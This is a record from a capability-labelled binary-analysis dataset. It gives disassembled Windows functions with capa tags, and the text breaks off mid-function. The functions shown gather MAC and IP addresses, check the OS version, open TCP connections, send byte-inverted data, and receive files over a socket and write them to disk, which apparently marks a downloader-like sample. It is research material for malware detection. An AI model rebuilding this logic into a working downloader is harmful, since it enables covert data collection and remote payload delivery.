joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402670
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x41b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], 0
cmp dword [ebp + 8], 0
je 0x402699
cmp dword [ebp + 0xc], 0
jne 0x4026a3
jmp 0x4027ff
cmp dword [ebp + 0x10], 0
je 0x4026f8
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 0x214]
add ecx, 2
mov dword [ebp - 0x224], ecx
mov edx, dword [ebp - 0x214]
mov ax, word [edx]
mov word [ebp - 0x216], ax
add dword [ebp - 0x214], 2
cmp word [ebp - 0x216], 0
jne 0x4026c1
mov ecx, dword [ebp - 0x214]
sub ecx, dword [ebp - 0x224]
sar ecx, 1
mov dword [ebp - 0x220], ecx
jne 0x402702
jmp 0x4027ff
xor edx, edx
mov word [ebp - 0x20c], dx
push 0x206
push 0
lea eax, [ebp - 0x20a]
push eax
call fcn.0040a840
add esp, 0xc
cmp dword [ebp + 0x14], 0
je 0x40273b
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402783
cmp dword [0x41bf08], 3
jne 0x402771
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x419aac
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00406def
add esp, 0xc
jmp 0x402783
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 0x10]
push edx
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00406def
add esp, 0xc
mov dword [ebp - 0x210], 0
push 0x419ab0
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.00406fe6
add esp, 0xc
cmp dword [ebp - 0x210], 0
jne 0x4027cd
jmp 0x4027ff
mov eax, dword [ebp - 0x210]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004072b8
add esp, 0x10
mov eax, dword [ebp - 0x210]
push eax
call fcn.004073d0
add esp, 4
mov dword [ebp - 0x21c], 1
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406b74
mov esp, ebp
pop ebp
ret

Function at 0x402a10
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x41b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.0040a840
add esp, 0xc
mov dword [ebp - 0x210], 0
cmp dword [ebp + 8], 0
je 0x402a62
cmp dword [ebp + 0xc], 0
jne 0x402a6c
jmp 0x402aed
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x419ad0
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00406def
add esp, 0xc
push 0x419aec
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.00406fe6
add esp, 0xc
cmp dword [ebp - 0x210], 0
je 0x402ae3
mov eax, dword [ebp - 0x210]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040759e
add esp, 0x10
mov eax, dword [ebp - 0x210]
push eax
call fcn.004073d0
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406b74
mov esp, ebp
pop ebp
ret
Function at 0x403860
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x41b038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.0040a840
add esp, 0xc
mov dword [ebp - 0x430], 0
push 0x200
push 0
lea edx, [ebp - 0x40c]
push edx
call fcn.0040a840
add esp, 0xc
lea eax, [ebp - 0x40c]
push eax
call fcn.00402820
add esp, 4
test eax, eax
je 0x403a87
mov dword [ebp - 0x428], 0x419c38
mov dword [ebp - 0x418], 0x41d018
mov ecx, dword [ebp - 0x418]
mov dword [ebp - 0x438], ecx
mov edx, dword [ebp - 0x428]
mov ax, word [edx]
mov word [ebp - 0x412], ax
mov ecx, dword [ebp - 0x418]
mov dx, word [ebp - 0x412]
mov word [ecx], dx
mov eax, dword [ebp - 0x428]
add eax, 2
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x418]
add ecx, 2
mov dword [ebp - 0x418], ecx
cmp word [ebp - 0x412], 0
jne 0x4038e9
lea edx, [ebp - 0x386]
mov dword [ebp - 0x424], edx
mov dword [ebp - 0x41c], 0x41d120
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0x434], eax
mov ecx, dword [ebp - 0x424]
mov dx, word [ecx]
mov word [ebp - 0x410], dx
mov eax, dword [ebp - 0x41c]
mov cx, word [ebp - 0x410]
mov word [eax], cx
mov edx, dword [ebp - 0x424]
add edx, 2
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x41c]
add eax, 2
mov dword [ebp - 0x41c], eax
cmp word [ebp - 0x410], 0
jne 0x403953
lea ecx, [ebp - 0x408]
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x420], 0x41d0a0
mov edx, dword [ebp - 0x420]
mov dword [ebp - 0x43c], edx
mov eax, dword [ebp - 0x42c]
mov cx, word [eax]
mov word [ebp - 0x40e], cx
mov edx, dword [ebp - 0x420]
mov ax, word [ebp - 0x40e]
mov word [edx], ax
mov ecx, dword [ebp - 0x42c]
add ecx, 2
mov dword [ebp - 0x42c], ecx
mov edx, dword [ebp - 0x420]
add edx, 2
mov dword [ebp - 0x420], edx
cmp word [ebp - 0x40e], 0
jne 0x4039bd
mov ax, word [ebp - 0x388]
mov word [0x41d098], ax
mov cx, word [ebp - 0x2e6]
mov word [0x41d010], cx
mov dword [0x41d00c], 5
cmp dword [0x41bf08], 3
je 0x403a46
lea edx, [ebp - 0x20c]
push edx
push 1
call fcn.00404530
add esp, 8
jmp 0x403a57
lea eax, [ebp - 0x20c]
push eax
push 0
call fcn.00404530
add esp, 8
push 0x419c54
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
call fcn.00406def
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x430], 1
mov eax, dword [ebp - 0x430]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406b74
mov esp, ebp
pop ebp
ret
Function at 0x403b00
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x41b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0
xor ecx, ecx
mov word [ebp - 0x12c], cx
push 0x11c
push 0
lea edx, [ebp - 0x120]
push edx
call fcn.0040a840
add esp, 0xc
mov dword [ebp - 0x120], 0x11c
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x403be0
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x124], edx
mov ax, word [ebp - 0xc]
mov word [ebp - 0x12c], ax
cmp dword [ebp - 0x128], 5
jne 0x403bb1
cmp dword [ebp - 0x124], 2
jae 0x403ba8
cmp dword [ebp - 0x124], 1
jne 0x403bb1
mov ecx, dword [ebp + 8]
mov dword [ecx], 3
cmp dword [ebp - 0x128], 6
jne 0x403be0
cmp dword [ebp - 0x124], 0
jne 0x403bce
mov edx, dword [ebp + 8]
mov dword [edx], 4
jmp 0x403be0
cmp dword [ebp - 0x124], 1
jne 0x403be0
mov eax, dword [ebp + 8]
mov dword [eax], 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406b74
mov esp, ebp
pop ebp
ret

Function at 0x403bf0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41b038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.0040a840
add esp, 0xc
cmp dword [0x41bf08], 3
jne 0x403c58
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x419c6c
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00406def
add esp, 0xc
jmp 0x403c6a
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x20c]
push eax
push 0x419c70
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406b74
mov esp, ebp
pop ebp
ret

Function at 0x403f60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x41b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x214], 0xffffffff
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.0040a840
add esp, 0xc
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov eax, 2
imul eax, eax, 0
movzx ecx, word [ebp + eax - 0x20c]
sub ecx, 0x41
mov dword [ebp - 0x218], ecx
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp - 0x218]
push eax
call fcn.00404230
add esp, 8
mov ecx, dword [ebp - 0x210]
push ecx
call fcn.004043a0
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x404013
xor eax, eax
jmp 0x404026
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x214]
push eax
call fcn.00403d80
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406b74
mov esp, ebp
pop ebp
ret
Function at 0x404190
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x41b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x4041cd
jmp 0x40421e
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
push 0
push 0x200
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.0040eac0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
shl eax, 9
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406b74
mov esp, ebp
pop ebp
ret

Function at 0x404530
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x40454a
mov eax, dword [ebp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x40456f
push 0x104
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x419cf4
push 0x104
mov edx, dword [ebp + 0xc]
push edx
call fcn.00406def
add esp, 0xc
pop ebp
ret
Function at 0x404580
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
push 0x419cf8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00406fe6
add esp, 0xc
test eax, eax
je 0x4045be
xor eax, eax
jmp 0x40469f
mov dword [ebp - 0x10], 0
push 2
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.00407dc0
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
call fcn.00408198
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.00407dc0
add esp, 0xc
mov edx, dword [ebp - 0x10]
add edx, dword [ebp + 0x10]
push edx
call fcn.00407c67
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.004072b8
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.004073d0
add esp, 4
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x10]
push edx
call fcn.004046b0
add esp, 8
push 0x419d00
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00406fe6
add esp, 0xc
test eax, eax
je 0x404658
xor eax, eax
jmp 0x40469f
mov edx, dword [ebp - 0x10]
add edx, dword [ebp + 0x10]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.0040759e
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.004073d0
add esp, 4
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0xc], 0
je 0x40469c
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00407cf9
add esp, 4
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406b74
mov esp, ebp
pop ebp
ret
Function at 0x4050c0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x41b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x20], 0x10
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x3a98
mov eax, dword [ebp - 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x405151
mov dword [ebp - 0x18], 0xffffffff
jmp 0x405278
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x6f
jne 0x40518c
mov edx, dword [ebp - 0x10]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x14], 0x6f
jne 0x4051a1
cmp dword [ebp - 0x1c], 3
jb 0x405124
cmp dword [ebp - 0x14], 0
jne 0x405266
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
je 0x405264
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x34], 6
jne 0x405256
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x1c], 0
je 0x405256
mov ecx, dword [ebp - 0xc]
add ecx, 0x2c
mov edx, dword [ebp + 8]
mov eax, dword [ecx]
mov dword [edx], eax
mov cx, word [ecx + 4]
mov word [edx + 4], cx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, 1
shl edx, 1
mov eax, dword [ebp + 0xc]
mov cl, byte [ecx + edx + 2]
mov byte [eax + 3], cl
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, 1
imul edx, edx, 3
mov eax, dword [ebp + 0xc]
mov cl, byte [ecx + edx + 2]
mov byte [eax + 2], cl
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, 1
shl edx, 2
mov eax, dword [ebp + 0xc]
mov cl, byte [ecx + edx + 2]
mov byte [eax + 1], cl
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, 1
imul edx, edx, 5
mov eax, dword [ebp + 0xc]
mov cl, byte [ecx + edx + 2]
mov byte [eax], cl
jmp 0x405264
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0xc], eax
jmp 0x4051b1
jmp 0x405271
mov dword [ebp - 0x18], 0xfffffffd
jmp 0x405278
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x10], 0
je 0x405291
mov ecx, dword [ebp - 0x10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406b74
mov esp, ebp
pop ebp
ret
Function at 0x405940
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9bc
mov eax, dword [0x41b038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x804], ax
push 0x7fe
push 0
lea ecx, [ebp - 0x802]
push ecx
call fcn.0040a840
add esp, 0xc
lea edx, [ebp - 0x804]
mov dword [ebp - 0x9b4], edx
cmp dword [ebp + 0x14], 0
je 0x40598d
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x9b4], eax
mov ecx, 2
imul ecx, ecx, 0
xor edx, edx
mov eax, dword [ebp - 0x9b4]
mov word [eax + ecx], dx
mov dword [ebp - 0x808], 0
mov dword [ebp - 0x9b0], 0
mov dword [ebp - 0x9bc], 0
lea ecx, [ebp - 0x9a8]
push ecx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x9b8], eax
cmp dword [ebp - 0x9b8], 0
je 0x4059e7
xor eax, eax
jmp 0x405ae1
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0xffffffff
jne 0x405a07
xor eax, eax
jmp 0x405ae1
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x9ac], eax
cmp dword [ebp - 0x9ac], 0
jne 0x405a47
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x808], eax
push 2
push 4
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
mov dword [ebp - 0x9ac], eax
cmp dword [ebp - 0x9ac], 0
jne 0x405a54
jmp 0x405ab5
mov ecx, 4
imul ecx, ecx, 0
mov edx, dword [ebp - 0x9ac]
mov eax, dword [edx + 0xc]
mov ecx, dword [ecx + eax]
mov edx, dword [ecx]
mov dword [ebp - 0x814], edx
mov eax, 2
mov word [ebp - 0x818], ax
movzx ecx, word [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x816], ax
push 0x10
lea edx, [ebp - 0x818]
push edx
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x405aab
jmp 0x405ab5
mov dword [ebp - 0x9b0], 1
cmp dword [ebp - 0x9b0], 0
jne 0x405adb
mov edx, dword [ebp + 0x10]
cmp dword [edx], 0
je 0x405adb
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [ebp + 0x10]
mov dword [edx], 0
mov eax, dword [ebp - 0x9b0]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406b74
mov esp, ebp
pop ebp
ret
Function at 0x405dc0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x405dfb
jmp 0x405ec0
mov dword [ebp - 8], 0
jmp 0x405e0d
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp + 0x10]
jge 0x405e2a
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 8]
movzx ecx, byte [eax]
not ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 8]
mov byte [edx], cl
jmp 0x405e04
mov eax, dword [ebp + 0x10]
add eax, 7
push eax
call fcn.00408387
add esp, 4
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 4], ecx
movzx edx, word [ebp + 0x10]
add edx, 5
mov eax, dword [ebp - 4]
mov word [eax], dx
mov ecx, 1
shl ecx, 1
add ecx, dword [ebp - 4]
mov edx, dword [0x41bf10]
mov dword [ecx], edx
mov al, byte [0x41bf14]
mov byte [ecx + 4], al
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, 1
imul eax, eax, 7
add eax, dword [ebp - 4]
push eax
call fcn.0040b4a0
add esp, 0xc
mov ecx, dword [ebp + 0x10]
add ecx, 7
mov dword [ebp + 0x10], ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x405eb5
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
je 0x405eb9
jmp 0x405ec0
mov dword [ebp - 0x14], 1
cmp dword [ebp - 4], 0
je 0x405ef4
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.0040877b
add esp, 4
cmp dword [ebp - 0x10], 0
jne 0x405ee7
mov dword [ebp - 0x1c], 0
jmp 0x405ef4
mov dword [ebp - 4], 0x8123
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x4069b0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.0040da40
mov eax, dword [0x41b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x100c], 0
mov dword [ebp - 0x1010], 0
push 0x419db0
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x100c]
push ecx
call fcn.00406fe6
add esp, 0xc
cmp dword [ebp - 0x100c], 0
jne 0x406a03
xor eax, eax
jmp 0x406ab8
push 0
push 4
lea edx, [ebp - 0x1008]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x406a26
xor eax, eax
jmp 0x406ab8
mov edx, dword [ebp - 0x1010]
cmp edx, dword [ebp - 0x1008]
jae 0x406a92
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x1014], eax
cmp dword [ebp - 0x1014], 0
jne 0x406a5f
jmp 0x406a92
mov eax, dword [ebp - 0x100c]
push eax
mov ecx, dword [ebp - 0x1014]
push ecx
push 1
lea edx, [ebp - 0x1004]
push edx
call fcn.0040759e
add esp, 0x10
mov eax, dword [ebp - 0x1010]
add eax, dword [ebp - 0x1014]
mov dword [ebp - 0x1010], eax
jmp 0x406a26
mov ecx, dword [ebp - 0x100c]
push ecx
call fcn.004073d0
add esp, 4
mov edx, dword [ebp - 0x1010]
cmp edx, dword [ebp - 0x1008]
jae 0x406ab3
xor eax, eax
jmp 0x406ab8
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406b74
mov esp, ebp
pop ebp
ret
Function at 0x4116d6
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00408b1a
mov dword [ebp - 0x14], eax
cmp dword [0x41cd84], edi
jne 0x4117c7
push 0x800
push edi
push 0x4165d8
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x411754
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4118a7
push 0x4165d8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4118a7
push 0x4165f0
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4118a7
push eax
call ebx
push 0x4165fc
push esi
mov dword [0x41cd84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x41660c
push esi
mov dword [0x41cd88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x416620
push esi
mov dword [0x41cd8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41cd94], eax
test eax, eax
je 0x4117c4
push 0x41663c
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41cd90], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4117ec
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4117df
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x411801
push 4
pop eax
jmp 0x4118a9
cmp dword [ebp - 0x14], edi
je 0x411801
push dword [0x41cd84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4117e6
mov eax, dword [0x41cd90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x41185f
cmp dword [0x41cd94], esi
je 0x41185f
push eax
call ebx
push dword [0x41cd94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41185f
test eax, eax
je 0x41185f
call ecx
test eax, eax
je 0x411854
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x411854
test byte [ebp - 8], 1
jne 0x41185f
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x41188f
mov eax, dword [0x41cd88]
cmp eax, esi
je 0x41188c
push eax
call ebx
test eax, eax
je 0x41188c
call eax
mov edi, eax
test edi, edi
je 0x41188c
mov eax, dword [0x41cd8c]
cmp eax, esi
je 0x41188c
push eax
call ebx
test eax, eax
je 0x41188c
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x41cd84]
call ebx
test eax, eax
je 0x4118a7
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x4118a9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
